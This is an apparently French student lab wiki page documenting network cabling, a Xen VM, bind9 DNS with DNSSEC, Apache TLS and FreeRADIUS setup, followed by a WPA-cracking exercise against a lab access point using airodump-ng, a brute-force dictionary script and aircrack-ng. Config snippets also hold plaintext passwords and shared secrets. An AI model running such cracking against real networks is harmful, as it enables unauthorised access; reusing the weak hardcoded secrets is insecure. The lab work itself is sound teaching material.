&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/eap.conf :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM. On formate les disques créés sur la machine :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc2&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
Afin de lier les dossiers /hercule1 /hercule2 /hercule3 de notre vm au disques créé précédemment, on modifie le fichier /etc/fstab en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /hercule1 ext4 defaults 0 2&lt;br /&gt;
  /dev/xvdc2 /hercule2 ext4 defaults 0 2&lt;br /&gt;
  /dev/xvdc3 /hercule3 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
&lt;br /&gt;
  mount -a&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	</feed>